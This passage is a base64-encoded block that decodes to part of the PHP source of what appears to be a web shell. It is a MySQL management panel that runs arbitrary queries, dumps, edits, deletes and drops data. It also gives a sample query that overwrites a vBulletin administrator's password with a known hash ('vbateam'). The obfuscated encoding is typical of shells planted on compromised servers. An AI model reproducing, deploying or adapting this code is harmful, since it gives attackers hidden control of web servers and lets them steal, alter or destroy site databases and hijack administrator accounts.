GFibGVbJGN1cnJvd1swXV0pKSB7CgkJCQkJCXNxbGR1bXB0YWJsZSgkY3Vycm93WzBdLCAkZnApOwoJCQkJCX0KCQkJCX0KCQkJCWZjbG9zZSgkZnApOwoJCQkJJGZpbGV1cmwgPSBzdHJfcmVwbGFjZShTQV9ST09ULCcnLCRwYXRoKTsKCQkJCW0oJ0RhdGFiYXNlIGhhcyBzdWNjZXNzIGJhY2t1cCB0byA8YSBocmVmPSInLiRmaWxldXJsLiciIHRhcmdldD0iX2JsYW5rIj4nLiRwYXRoLic8L2E+Jyk7CgkJCQlteXNxbF9jbG9zZSgpOwoJCQl9IGVsc2UgewoJCQkJbSgnQmFja3VwIGZhaWxlZCcpOwoJCQl9CgkJfQoJfQoJaWYgKCRpbnNlcnQgJiYgJGluc2VydHNxbCkgewoJCSRrZXlzdHIgPSAkdmFsc3RyID0gJHRtcCA9ICcnOwoJCWZvcmVhY2goJGluc2VydHNxbCBhcyAka2V5ID0+ICR2YWwpIHsKCQkJaWYgKCR2YWwpIHsKCQkJCSRrZXlzdHIgLj0gJHRtcC4ka2V5OwoJCQkJJHZhbHN0ciAuPSAkdG1wLiInIi5hZGRzbGFzaGVzKCR2YWwpLiInIjsKCQkJCSR0bXAgPSAnLCc7CgkJCX0KCQl9CgkJaWYgKCRrZXlzdHIgJiYgJHZhbHN0cikgewoJCQlkYmNvbm4oJGRiaG9zdCwkZGJ1c2VyLCRkYnBhc3MsJGRibmFtZSwkY2hhcnNldCwkZGJwb3J0KTsKCQkJbShxKCJJTlNFUlQgSU5UTyAkdGFibGVuYW1lICgka2V5c3RyKSBWQUxVRVMgKCR2YWxzdHIpIikgPyAnSW5zZXJ0IG5ldyByZWNvcmQgb2Ygc3VjY2VzcycgOiBteXNxbF9lcnJvcigpKTsKCQl9Cgl9CglpZiAoJHVwZGF0ZSAmJiAkaW5zZXJ0c3FsICYmICRiYXNlNjQpIHsKCQkkdmFsc3RyID0gJHRtcCA9ICcnOwoJCWZvcmVhY2goJGluc2VydHNxbCBhcyAka2V5ID0+ICR2YWwpIHsKCQkJJHZhbHN0ciAuPSAkdG1wLiRrZXkuIj0nIi5hZGRzbGFzaGVzKCR2YWwpLiInIjsKCQkJJHRtcCA9ICcsJzsKCQl9CgkJaWYgKCR2YWxzdHIpIHsKCQkJJHdoZXJlID0gYmFzZTY0X2RlY29kZSgkYmFzZTY0KTsKCQkJZGJjb25uKCRkYmhvc3QsJGRidXNlciwkZGJwYXNzLCRkYm5hbWUsJGNoYXJzZXQsJGRicG9ydCk7CgkJCW0ocSgiVVBEQVRFICR0YWJsZW5hbWUgU0VUICR2YWxzdHIgV0hFUkUgJHdoZXJlIExJTUlUIDEiKSA/ICdSZWNvcmQgdXBkYXRpbmcnIDogbXlzcWxfZXJyb3IoKSk7CgkJfQoJfQoJaWYgKCRkb2luZyA9PSAnZGVsJyAmJiAkYmFzZTY0KSB7CgkJJHdoZXJlID0gYmFzZTY0X2RlY29kZSgkYmFzZTY0KTsKCQkkZGVsZXRlX3NxbCA9ICJERUxFVEUgRlJPTSAkdGFibGVuYW1lIFdIRVJFICR3aGVyZSI7CgkJZGJjb25uKCRkYmhvc3QsJGRidXNlciwkZGJwYXNzLCRkYm5hbWUsJGNoYXJzZXQsJGRicG9ydCk7CgkJbShxKCJERUxFVEUgRlJPTSAkdGFibGVuYW1lIFdIRVJFICR3aGVyZSIpID8gJ0RlbGV0aW9uIHJlY29yZCBvZiBzdWNjZXNzJyA6IG15c3FsX2Vycm9yKCkpOwoJfQoKCWlmICgkdGFibGVuYW1lICYmICRkb2luZyA9PSAnZHJvcCcpIHsKCQlkYmNvbm4oJGRiaG9zdCwkZGJ1c2VyLCRkYnBhc3MsJGRibmFtZSwkY2hhcnNldCwkZGJwb3J0KTsKCQlpZiAocSgiRFJPUCBUQUJMRSAkdGFibGVuYW1lIikpIHsKCQkJbSgnRHJvcCB0YWJsZSBvZiBzdWNjZXNzJyk7CgkJCSR0YWJsZW5hbWUgPSAnJzsKCQl9IGVsc2UgewoJCQltKG15c3FsX2Vycm9yKCkpOwoJCX0KCX0KCgkkY2hhcnNldHMgPSBhcnJheSgnJz0+J0RlZmF1bHQnLCdnYmsnPT4nR0JLJywgJ2JpZzUnPT4nQmlnNScsICd1dGY4Jz0+J1VURi04JywgJ2xhdGluMSc9PidMYXRpbjEnKTsKCglmb3JtaGVhZChhcnJheSgndGl0bGUnPT4nTVlTUUwgTWFuYWdlcicpKTsKCW1ha2VoaWRlKCdhY3Rpb24nLCdzcWxhZG1pbicpOwoJcCgnPHA+Jyk7CglwKCdEQkhvc3Q6Jyk7CgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nZGJob3N0Jywnc2l6ZSc9PjIwLCd2YWx1ZSc9PiRkYmhvc3QpKTsKCXAoJzonKTsKCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidkYnBvcnQnLCdzaXplJz0+NCwndmFsdWUnPT4kZGJwb3J0KSk7CglwKCdEQlVzZXI6Jyk7CgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nZGJ1c2VyJywnc2l6ZSc9PjE1LCd2YWx1ZSc9PiRkYnVzZXIpKTsKCXAoJ0RCUGFzczonKTsKCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidkYnBhc3MnLCdzaXplJz0+MTUsJ3ZhbHVlJz0+JGRicGFzcykpOwoJcCgnREJDaGFyc2V0OicpOwoJbWFrZXNlbGVjdChhcnJheSgnbmFtZSc9PidjaGFyc2V0Jywnb3B0aW9uJz0+JGNoYXJzZXRzLCdzZWxlY3RlZCc9PiRjaGFyc2V0KSk7CgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nY29ubmVjdCcsJ3ZhbHVlJz0+J0Nvbm5lY3QnLCd0eXBlJz0+J3N1Ym1pdCcsJ2NsYXNzJz0+J2J0JykpOwoJcCgnPC9wPicpOwoJZm9ybWZvb3QoKTsKPz4KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgpmdW5jdGlvbiBlZGl0cmVjb3JkKGFjdGlvbiwgYmFzZTY0LCB0YWJsZW5hbWUpewoJaWYgKGFjdGlvbiA9PSAnZGVsJykgewoJCWlmICghY29uZmlybSgnSXMgb3IgaXNuXCd0IGRlbGV0aW9uIHJlY29yZD8nKSkgcmV0dXJuOwoJfQoJJCgncmVjb3JkbGlzdCcpLmRvaW5nLnZhbHVlPWFjdGlvbjsKCSQoJ3JlY29yZGxpc3QnKS5iYXNlNjQudmFsdWU9YmFzZTY0OwoJJCgncmVjb3JkbGlzdCcpLnRhYmxlbmFtZS52YWx1ZT10YWJsZW5hbWU7CgkkKCdyZWNvcmRsaXN0Jykuc3VibWl0KCk7Cn0KZnVuY3Rpb24gbW9kZGJuYW1lKGRibmFtZSkgewoJaWYoIWRibmFtZSkgcmV0dXJuOwoJJCgnc2V0ZGJuYW1lJykuZGJuYW1lLnZhbHVlPWRibmFtZTsKCSQoJ3NldGRibmFtZScpLnN1Ym1pdCgpOwp9CmZ1bmN0aW9uIHNldHRhYmxlKHRhYmxlbmFtZSxkb2luZyxwYWdlKSB7CglpZighdGFibGVuYW1lKSByZXR1cm47CglpZiAoZG9pbmcpIHsKCQkkKCdzZXR0YWJsZScpLmRvaW5nLnZhbHVlPWRvaW5nOwoJfQoJaWYgKHBhZ2UpIHsKCQkkKCdzZXR0YWJsZScpLnBhZ2UudmFsdWU9cGFnZTsKCX0KCSQoJ3NldHRhYmxlJykudGFibGVuYW1lLnZhbHVlPXRhYmxlbmFtZTsKCSQoJ3NldHRhYmxlJykuc3VibWl0KCk7Cn0KPC9zY3JpcHQ+Cjw/cGhwCgkvLyBTUUwKCWZvcm1oZWFkKGFycmF5KCduYW1lJz0+J3JlY29yZGxpc3QnKSk7CgltYWtlaGlkZSgnZG9pbmcnKTsKCW1ha2VoaWRlKCdhY3Rpb24nLCdzcWxhZG1pbicpOwoJbWFrZWhpZGUoJ2Jhc2U2NCcpOwoJbWFrZWhpZGUoJ3RhYmxlbmFtZScpOwoJcCgkZGJmb3JtKTsKCWZvcm1mb290KCk7CgoJLy8gRGF0YQoJZm9ybWhlYWQoYXJyYXkoJ25hbWUnPT4nc2V0ZGJuYW1lJykpOwoJbWFrZWhpZGUoJ2FjdGlvbicsJ3NxbGFkbWluJyk7CglwKCRkYmZvcm0pOwoJaWYgKCEkZGJuYW1lKSB7CgkJbWFrZWhpZGUoJ2RibmFtZScpOwoJfQoJZm9ybWZvb3QoKTsKCgoJZm9ybWhlYWQoYXJyYXkoJ25hbWUnPT4nc2V0dGFibGUnKSk7CgltYWtlaGlkZSgnYWN0aW9uJywnc3FsYWRtaW4nKTsKCXAoJGRiZm9ybSk7CgltYWtlaGlkZSgndGFibGVuYW1lJyk7CgltYWtlaGlkZSgncGFnZScsJHBhZ2UpOwoJbWFrZWhpZGUoJ2RvaW5nJyk7Cglmb3JtZm9vdCgpOwoKCSRjYWNoZXRhYmxlcyA9IGFycmF5KCk7CgkkcGFnZW51bSA9IDMwOwoJJHBhZ2UgPSBpbnR2YWwoJHBhZ2UpOwoJaWYoJHBhZ2UpIHsKCQkkc3RhcnRfbGltaXQgPSAoJHBhZ2UgLSAxKSAqICRwYWdlbnVtOwoJfSBlbHNlIHsKCQkkc3RhcnRfbGltaXQgPSAwOwoJCSRwYWdlID0gMTsKCX0KCWlmIChpc3NldCgkZGJob3N0KSAmJiBpc3NldCgkZGJ1c2VyKSAmJiBpc3NldCgkZGJwYXNzKSAmJiBpc3NldCgkY29ubmVjdCkpIHsKCQlkYmNvbm4oJGRiaG9zdCwgJGRidXNlciwgJGRicGFzcywgJGRibmFtZSwgJGNoYXJzZXQsICRkYnBvcnQpOwoJCS8vIGdldCBteXNxbCBzZXJ2ZXIKCQkkbXlzcWx2ZXIgPSBteXNxbF9nZXRfc2VydmVyX2luZm8oKTsKCQlwKCc8cD5NeVNRTCAnLiRteXNxbHZlci4nIHJ1bm5pbmcgaW4gJy4kZGJob3N0LicgYXMgJy4kZGJ1c2VyLidAJy4kZGJob3N0Lic8L3A+Jyk7CgkJJGhpZ2h2ZXIgPSAkbXlzcWx2ZXIgPiAnNC4xJyA/IDEgOiAwOwoKCQkvLyBTaG93IGRhdGFiYXNlCgkJJHF1ZXJ5ID0gcSgiU0hPVyBEQVRBQkFTRVMiKTsKCQkkZGJzID0gYXJyYXkoKTsKCQkkZGJzW10gPSAnLS0gU2VsZWN0IGEgZGF0YWJhc2UgLS0nOwoJCXdoaWxlKCRkYiA9IG15c3FsX2ZldGNoX2FycmF5KCRxdWVyeSkpIHsKCQkJJGRic1skZGJbJ0RhdGFiYXNlJ11dID0gJGRiWydEYXRhYmFzZSddOwoJCX0KCQltYWtlc2VsZWN0KGFycmF5KCd0aXRsZSc9PidQbGVhc2Ugc2VsZWN0IGEgZGF0YWJhc2U6JywnbmFtZSc9PidkYltdJywnb3B0aW9uJz0+JGRicywnc2VsZWN0ZWQnPT4kZGJuYW1lLCdvbmNoYW5nZSc9Pidtb2RkYm5hbWUodGhpcy5vcHRpb25zW3RoaXMuc2VsZWN0ZWRJbmRleF0udmFsdWUpJywnbmV3bGluZSc9PjEpKTsKCQkkdGFibGVkYiA9IGFycmF5KCk7CgkJaWYgKCRkYm5hbWUpIHsKCQkJcCgnPHA+Jyk7CgkJCXAoJ0N1cnJlbnQgZGFiYWJhc2U6IDxhIGhyZWY9ImphdmFzY3JpcHQ6bW9kZGJuYW1lKFwnJy4kZGJuYW1lLidcJyk7Ij4nLiRkYm5hbWUuJzwvYT4nKTsKCQkJaWYgKCR0YWJsZW5hbWUpIHsKCQkJCXAoJyB8IEN1cnJlbnQgVGFibGU6IDxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZW5hbWUuJ1wnKTsiPicuJHRhYmxlbmFtZS4nPC9hPiBbIDxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZW5hbWUuJ1wnLCBcJ2luc2VydFwnKTsiPkluc2VydDwvYT4gfCA8YSBocmVmPSJqYXZhc2NyaXB0OnNldHRhYmxlKFwnJy4kdGFibGVuYW1lLidcJywgXCdzdHJ1Y3R1cmVcJyk7Ij5TdHJ1Y3R1cmU8L2E+IHwgPGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlbmFtZS4nXCcsIFwnZHJvcFwnKTsiPkRyb3A8L2E+IF0nKTsKCQkJfQoJCQlwKCc8L3A+Jyk7CgkJCW15c3FsX3NlbGVjdF9kYigkZGJuYW1lKTsKCgkJCSRnZXRudW1zcWwgPSAnJzsKCQkJJHJ1bnF1ZXJ5ID0gMDsKCQkJaWYgKCRzcWxfcXVlcnkpIHsKCQkJCSRydW5xdWVyeSA9IDE7CgkJCX0KCQkJJGFsbG93ZWRpdCA9IDA7CgkJCWlmICgkdGFibGVuYW1lICYmICEkc3FsX3F1ZXJ5KSB7CgkJCQkkc3FsX3F1ZXJ5ID0gIlNFTEVDVCAqIEZST00gJHRhYmxlbmFtZSI7CgkJCQkkZ2V0bnVtc3FsID0gJHNxbF9xdWVyeTsKCQkJCSRzcWxfcXVlcnkgPSAkc3FsX3F1ZXJ5LiIgTElNSVQgJHN0YXJ0X2xpbWl0LCAkcGFnZW51bSI7CgkJCQkkYWxsb3dlZGl0ID0gMTsKCQkJfQoJCQlwKCc8Zm9ybSBhY3Rpb249IicuJHNlbGYuJyIgbWV0aG9kPSJQT1NUIj4nKTsKCQkJcCgnPHA+PHRhYmxlIHdpZHRoPSIyMDAiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj48dHI+PHRkIGNvbHNwYW49IjIiPlJ1biBTUUwgcXVlcnkvcXVlcmllcyBvbiBkYXRhYmFzZSA8Zm9udCBjb2xvcj1yZWQ+PGI+Jy4kZGJuYW1lLic8L2ZvbnQ+PC9iPjo8QlI+RXhhbXBsZSBWQkIgUGFzc3dvcmQ6IDxmb250IGNvbG9yPXJlZD52YmF0ZWFtPC9mb250PjxCUj48Zm9udCBjb2xvcj15ZWxsb3c+VVBEQVRFIGB1c2VyYCBTRVQgYHBhc3N3b3JkYCA9IFwnNjllNTNlNWFiOTUzNmU1NWQzMWZmNTMzYWVmYzRmYmVcJywgc2FsdCA9IFwncDVUXCcgV0hFUkUgYHVzZXJpZGAgPSBcJzFcJyA8L2ZvbnQ+CgkJCTwvdGQ+PC90cj48dHI+PHRkPjx0ZXh0YXJlYSBuYW1lPSJzcWxfcXVlcnkiIGNsYXNzPSJhcmVhIiBzdHlsZT0id2lkdGg6NjAwcHg7aGVpZ2h0OjUwcHg7b3ZlcmZsb3c6YXV0bzsiPicuaHRtbHNwZWNpYWxjaGFycygkc3FsX3F1ZXJ5LEVOVF9RVU9URVMpLic8L3RleHRhcmVhPjwvdGQ+PHRkIHN0eWxlPSJwYWRkaW5nOjAgNXB4OyI+PGlucHV0IGNsYXNzPSJidCIgc3R5bGU9ImhlaWdodDo1MHB4OyIgbmFtZT0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJRdWVyeSIgLz48L3RkPjwvdHI+PC90YWJsZT48L3A+Jyk7CgkJCW1ha2VoaWRlKCd0YWJsZW5hbWUnLCAkdGFibGVuYW1lKTsKCQkJbWFrZWhpZGUoJ2FjdGlvbicsJ3NxbGFkbWluJyk7CgkJCXAoJGRiZm9ybSk7CgkJCXAoJzwvZm9ybT4nKTsKCQkJaWYgKCR0YWJsZW5hbWUgfHwgKCRydW5xdWVyeSAmJiAkc3FsX3F1ZXJ5KSkgewoJCQkJaWYgKCRkb2luZyA9PSAnc3RydWN0dXJlJykgewoJCQkJCSRyZXN1bHQgPSBxKCJTSE9XIENPTFVNTlMgRlJPTSAkdGFibGVuYW1lIik7CgkJCQkJJHJvd2RiID0gYXJyYXkoKTsKCQkJCQl3aGlsZSgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkpIHsKCQkJCQkJJHJvd2RiW10gPSAkcm93OwoJCQkJCX0KCQkJCQlwKCc8dGFibGUgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMyIgY2VsbHNwYWNpbmc9IjAiPicpOwoJCQkJCXAoJzx0ciBjbGFzcz0iaGVhZCI+Jyk7CgkJCQkJcCgnPHRkPkZpZWxkPC90ZD4nKTsKCQkJCQlwKCc8dGQ+VHlwZTwvdGQ+Jyk7CgkJCQkJcCgnPHRkPk51bGw8L3RkPicpOwoJCQkJCXAoJzx0ZD5LZXk8L3RkPicpOwoJCQkJCXAoJzx0ZD5EZWZhdWx0PC90ZD4nKTsKCQkJCQlwKCc8dGQ+RXh0cmE8L3RkPicpOwoJCQkJCXAoJzwvdHI+Jyk7CgkJCQkJZm9yZWFjaCAoJHJvd2RiIGFzICRyb3cpIHsKCQkJCQkJJHRoaXNiZyA9IGJnKCk7CgkJCQkJCXAoJzx0ciBjbGFzcz0iZm91dCIgb25tb3VzZW92ZXI9InRoaXMuY2xhc3NOYW1lPVwnZm9jdXNcJzsiIG9ubW91c2VvdXQ9InRoaXMuY2xhc3NOYW1lPVwnZm91dFwnOyI+Jyk7CgkJCQkJCXAoJzx0ZD4nLiRyb3dbJ0ZpZWxkJ10uJzwvdGQ+Jyk7CgkJCQkJCXAoJzx0ZD4nLiRyb3dbJ1R5cGUnXS4nPC90ZD4nKTsKCQkJCQkJcCgnPHRkPicuJHJvd1snTnVsbCddLicmbmJzcDs8L3RkPicpOwoJCQkJCQlwKCc8dGQ+Jy4kcm93WydLZXknXS4nJm5ic3A7PC90ZD4nKTsKCQkJCQkJcCgnPHRkPicuJHJvd1snRGVmYXVsdCddLicmbmJzcDs8L3RkPicpOwoJCQkJCQlwKCc8dGQ+Jy4kcm93WydFeHRyYSddLicmbmJzcDs8L3RkPicpOwoJCQkJCQlwKCc8L3RyPicpOwoJCQkJCX0KCQkJCQl0YmZvb3QoKTsKCQkJCX0gZWxzZWlmICgkZG9pbmcgPT0gJ2luc2VydCcgfHwgJGRvaW5nID09ICdlZGl0JykgewoJCQkJCSRyZXN1bHQgPSBxKCdTSE9XIENPTFVNTlMgRlJPTSAnLiR0YWJsZW5hbWUpOwoJCQkJCXdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkpIHsKCQkJCQkJJHJvd2RiW10gPSAkcm93OwoJCQkJCX0KCQkJCQkkcnMgPSBhcnJheSgpOwoJCQkJCWlmICgkZG9pbmcgPT0gJ2luc2VydCcpIHsKCQkJCQkJcCgnPGgyPkluc2VydCBuZXcgbGluZSBpbiAnLiR0YWJsZW5hbWUuJyB0YWJsZSAmcmFxdW87PC9oMj4nKTsKCQkJCQl9IGVsc2UgewoJCQkJCQlwKCc8aDI+VXBkYXRlIHJlY29yZCBpbiAnLiR0YWJsZW5hbWUuJyB0YWJsZSAmcmFxdW87PC9oMj4nKTsKCQkJCQkJJHdoZXJlID0gYmFzZTY0X2RlY29kZSgkYmFzZTY0KTsKCQkJCQkJJHJlc3VsdCA9IHEoIlNFTEVDVCAqIEZST00gJHRhYmxlbmFtZSBXSEVSRSAkd2hlcmUgTElNSVQgMSIpOwoJCQkJCQkkcnMgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0KTsKCQkJCQl9CgkJCQkJcCgnPGZvcm0gbWV0aG9kPSJwb3N0IiBhY3Rpb249IicuJHNlbGYuJyI+Jyk7CgkJCQkJcCgkZGJmb3JtKTsKCQkJCQltYWtlaGlkZSgnYWN0aW9uJywnc3FsYWRtaW4nKTsKCQkJCQltYWtlaGlkZSgndGFibGVuYW1lJywkdGFibGVuYW1lKTsKCQkJCQlwKCc8dGFibGUgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMyIgY2VsbHNwYWNpbmc9IjAiPicpOwoJCQkJCWZvcmVhY2ggKCRyb3dkYiBhcyAkcm93KSB7CgkJCQkJCWlmICgkcnNbJHJvd1snRmllbGQnXV0pIHsKCQkJCQkJCSR2YWx1ZSA9IGh0bWxzcGVjaWFsY2hhcnMoJHJzWyRyb3dbJ0ZpZWxkJ11dKTsKCQkJCQkJfSBlbHNlIHsKCQkJCQkJCSR2YWx1ZSA9ICcnOwoJCQkJCQl9CgkJCQkJCSR0aGlzYmcgPSBiZygpOwoJCQkJCQlwKCc8dHIgY2xhc3M9ImZvdXQiIG9ubW91c2VvdmVyPSJ0aGlzLmNsYXNzTmFtZT1cJ2ZvY3VzXCc7IiBvbm1vdXNlb3V0PSJ0aGlzLmNsYXNzTmFtZT1cJ2ZvdXRcJzsiPicpOwoJCQkJCQlwKCc8dGQ+PGI+Jy4kcm93WydGaWVsZCddLic8L2I+PGJyIC8+Jy4kcm93WydUeXBlJ10uJzwvdGQ+PHRkPjx0ZXh0YXJlYSBjbGFzcz0iYXJlYSIgbmFtZT0iaW5zZXJ0c3FsWycuJHJvd1snRmllbGQnXS4nXSIgc3R5bGU9IndpZHRoOjUwMHB4O2hlaWdodDo2MHB4O292ZXJmbG93OmF1dG87Ij4nLiR2YWx1ZS4nPC90ZXh0YXJlYT48L3RkPjwvdHI+Jyk7CgkJCQkJfQoJCQkJCWlmICgkZG9pbmcgPT0gJ2luc2VydCcpIHsKCQkJCQkJcCgnPHRyIGNsYXNzPSJmb3V0Ij48dGQgY29sc3Bhbj0iMiI+PGlucHV0IGNsYXNzPSJidCIgdHlwZT0ic3VibWl0IiBuYW1lPSJpbnNlcnQiIHZhbHVlPSJJbnNlcnQiIC8+PC90ZD48L3RyPicpOwoJCQkJCX0gZWxzZSB7CgkJCQkJCXAoJzx0ciBjbGFzcz0iZm91dCI+PHRkIGNvbHNwYW49IjIiPjxpbnB1dCBjbGFzcz0iYnQiIHR5cGU9InN1Ym1pdCIgbmFtZT0idXBkYXRlIiB2YWx1ZT0iVXBkYXRlIiAvPjwvdGQ+PC90cj4nKTsKCQkJCQkJbWFrZWhpZGUoJ2Jhc2U2NCcsICRiYXNlNjQpOwoJCQkJCX0KCQkJCQlwKCc8L3RhYmxlPjwvZm9ybT4nKTsKCQkJCX0gZWxzZSB7CgkJCQkJJHF1ZXJ5cyA9IEBleHBsb2RlKCc7Jywkc3FsX3F1ZXJ5KTsKCQkJCQlmb3JlYWNoKCRxdWVyeXMgYXMgJG51bT0+JHF1ZXJ5KSB7CgkJCQkJCWlmICgkcXVlcnkpIHsKCQkJCQkJCXAoIjxwPjxiPlF1ZXJ5I3skbnVtfSA6ICIuaHRtbHNwZWNpYWxjaGFycygkcXVlcnksRU5UX1FVT1RFUykuIjwvYj48L3A+Iik7CgkJCQkJCQlzd2l0Y2gocXkoJHF1ZXJ5KSkKCQkJCQkJCXsKCQkJCQkJCQljYXNlIDA6CgkJCQkJCQkJCXAoJzxoMj5FcnJvciA6ICcubXlzcWxfZXJyb3IoKS4nPC9oMj4nKTsKCQkJCQkJCQkJYnJlYWs7CgkJCQkJCQkJY2FzZSAxOgoJCQkJCQkJCQlpZiAoc3RydG9sb3dlcihzdWJzdHIoJHF1ZXJ5LDAsMTMpKSA9PSAnc2VsZWN0ICogZnJvbScpIHsKCQkJCQkJCQkJCSRhbGxvd2VkaXQgPSAxOwoJCQkJCQkJCQl9CgkJCQkJCQkJCWlmICgkZ2V0bnVtc3FsKSB7CgkJCQkJCQkJCQkkdGF0b2wgPSBteXNxbF9udW1fcm93cyhxKCRnZXRudW1zcWwpKTsKCQkJCQkJCQkJCSRtdWx0aXBhZ2UgPSBtdWx0aSgkdGF0b2wsICRwYWdlbnVtLCAkcGFnZSwgJHRhYmxlbmFtZSk7CgkJCQkJCQkJCX0KCQkJCQkJCQkJaWYgKCEkdGFibGVuYW1lKSB7CgkJCQkJCQkJCQkkc3FsX2xpbmUgPSBzdHJfcmVwbGFjZShhcnJheSgiXHIiLCAiXG4iLCAiXHQiKSwgYXJyYXkoJyAnLCAnICcsICcgJyksIHRyaW0oaHRtbHNwZWNpYWxjaGFycygkcXVlcnkpKSk7CgkJCQkJCQkJCQkkc3FsX2xpbmUgPSBwcmVnX3JlcGxhY2UoIi9cL1wqW14oXCpcLyldKlwqXC8vaSIsICIgIiwgJHNxbF9saW5lKTsKCQkJCQkJCQkJCXByZWdfbWF0Y2hfYWxsKCIvZnJvbVxzK2B7MCwxfShbXHddKylgezAsMX1ccysvaSIsJHNxbF9saW5lLCRtYXRjaGVzKTsKCQkJCQkJCQkJCSR0YWJsZW5hbWUgPSAkbWF0Y2hlc1sxXVswXTsKCQkJCQkJCQkJfQoJCQkJCQkJCQkkcmVzdWx0ID0gcSgkcXVlcnkpOwoJCQkJCQkJCQlwKCRtdWx0aXBhZ2UpOwoJCQkJCQkJCQlwKCc8dGFibGUgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMyIgY2VsbHNwYWNpbmc9IjAiPicpOwoJCQkJCQkJCQlwKCc8dHIgY2xhc3M9ImhlYWQiPicpOwoJCQkJCQkJCQlpZiAoJGFsbG93ZWRpdCkgcCgnPHRkPkFjdGlvbjwvdGQ+Jyk7CgkJCQkJCQkJCSRmaWVsZG51bSA9IEBteXNxbF9udW1fZmllbGRzKCRyZXN1bHQpOwoJCQkJCQkJCQlmb3IoJGk9MDskaTwkZmllbGRudW07JGkrKyl7CgkJCQkJCQkJCQkkbmFtZSA9IEBteXNxbF9maWVsZF9uYW1lKCRyZXN1bHQsICRpKTsKCQkJCQkJCQkJCSR0eXBlID0gQG15c3FsX2ZpZWxkX3R5cGUoJHJlc3VsdCwgJGkpOwoJCQkJCQkJCQkJJGxlbiA9IEBteXNxbF9maWVsZF9sZW4oJHJlc3VsdCwgJGkpOwoJCQkJCQkJCQkJcCgiPHRkIG5vd3JhcD4kbmFtZTxicj48c3Bhbj4kdHlwZSgkbGVuKTwvc3Bhbj48L3RkPiIpOwoJCQkJCQkJCQl9CgkJCQkJCQkJCXAoJzwvdHI+Jyk7CgkJCQkJCQkJCXdoaWxlKCRtbiA9IEBteXNxbF9mZXRjaF9hc3NvYygkcmVzdWx0KSl7CgkJCQkJCQkJCQkkdGhpc2JnID0gYmcoKTsKCQkJCQkJCQkJCXAoJzx0ciBjbGFzcz0iZm91dCIgb25tb3VzZW92ZXI9InRoaXMuY2xhc3NOYW1lPVwnZm9jdXNcJzsiIG9ubW91c2VvdXQ9InRoaXMuY2xhc3NOYW1lPVwnZm91dFwnOyI+Jyk7CgkJCQkJCQkJCQkkd2hlcmUgPSAkdG1wID0gJGIxID0gJyc7CgkJCQkJCQkJCQlmb3JlYWNoKCRtbiBhcyAka2V5PT4kaW5zaWRlKXsKCQkJCQkJCQkJCQlpZiAoJGluc2lkZSkgewoJCQkJCQkJCQkJCQkkd2hlcmUgLj0gJHRtcC4ka2V5LiI9JyIuYWRkc2xhc2hlcygkaW5zaWRlKS4iJyI7CgkJCQkJCQkJCQkJCSR0bXAgPSAnIEFORCAnOwoJCQkJCQkJCQkJCX0KCQkJCQkJCQkJCQkkYjEgLj0gJzx0ZCBub3dyYXA+Jy5odG1sX2NsZWFuKCRpbnNpZGUpLicmbmJzcDs8L3RkPic7CgkJCQkJCQkJCQl9CgkJCQkJCQkJCQkkd2hlcmUgPSBiYXNlNjRfZW5jb2RlKCR3aGVyZSk7CgkJCQkJCQkJCQlpZiAoJGFsbG93ZWRpdCkgcCgnPHRkIG5vd3JhcD48YSBocmVmPSJqYXZhc2NyaXB0OmVkaXRyZWNvcmQoXCdlZGl0XCcsIFwnJy4kd2hlcmUuJ1wnLCBcJycuJHRhYmxlbmFtZS4nXCcpOyI+RWRpdDwvYT4gfCA8YSBocmVmPSJqYXZhc2NyaXB0OmVkaXRyZWNvcmQoXCdkZWxcJywgXCcnLiR3aGVyZS4nXCcsIFwnJy4kdGFibGVuYW1lLidcJyk7Ij5EZWw8L2E+PC90ZD4nKTsKCQkJCQkJCQkJCXAoJGIxKTsKCQkJCQkJCQkJCXAoJzwvdHI+Jyk7CgkJCQkJCQkJCQl1bnNldCgkYjEpOwoJCQkJCQkJCQl9CgkJCQkJCQkJCXRiZm9vdCgpOwoJCQkJCQkJCQlwKCRtdWx0aXBhZ2UpOwoJCQkJCQkJCQlicmVhazsKCQkJCQkJCQljYXNlIDI6CgkJCQkJCQkJCSRhciA9IG15c3FsX2FmZmVjdGVkX3Jvd3MoKTsKCQkJCQkJCQkJcCgnPGgyPmFmZmVjdGVkIHJvd3MgOiA8Yj4nLiRhci4nPC9iPjwvaDI+Jyk7CgkJCQkJCQkJCWJyZWFrOwoJCQkJCQkJfQoJCQkJCQl9CgkJCQkJfQoJCQkJfQoJCQl9IGVsc2UgewoJCQkJJHF1ZXJ5ID0gcSgiU0hPVyBUQUJMRSBTVEFUVVMiKTsKCQkJCSR0YWJsZV9udW0gPSAkdGFibGVfcm93cyA9ICRkYXRhX3NpemUgPSAwOwoJCQkJJHRhYmxlZGIgPSBhcnJheSgpOwoJCQkJd2hpbGUoJHRhYmxlID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHF1ZXJ5KSkgewoJCQkJCSRkYXRhX3NpemUgPSAkZGF0YV9zaXplICsgJHRhYmxlWydEYXRhX2xlbmd0aCddOwoJCQkJCSR0YWJsZV9yb3dzID0gJHRhYmxlX3Jvd3MgKyAkdGFibGVbJ1Jvd3MnXTsKCQkJCQkkdGFibGVbJ0RhdGFfbGVuZ3RoJ10gPSBzaXplY291bnQoJHRhYmxlWydEYXRhX2xlbmd0aCddKTsKCQkJCQkkdGFibGVfbnVtKys7CgkJCQkJJHRhYmxlZGJbXSA9ICR0YWJsZTsKCQkJCX0KCQkJCSRkYXRhX3NpemUgPSBzaXplY291bnQoJGRhdGFfc2l6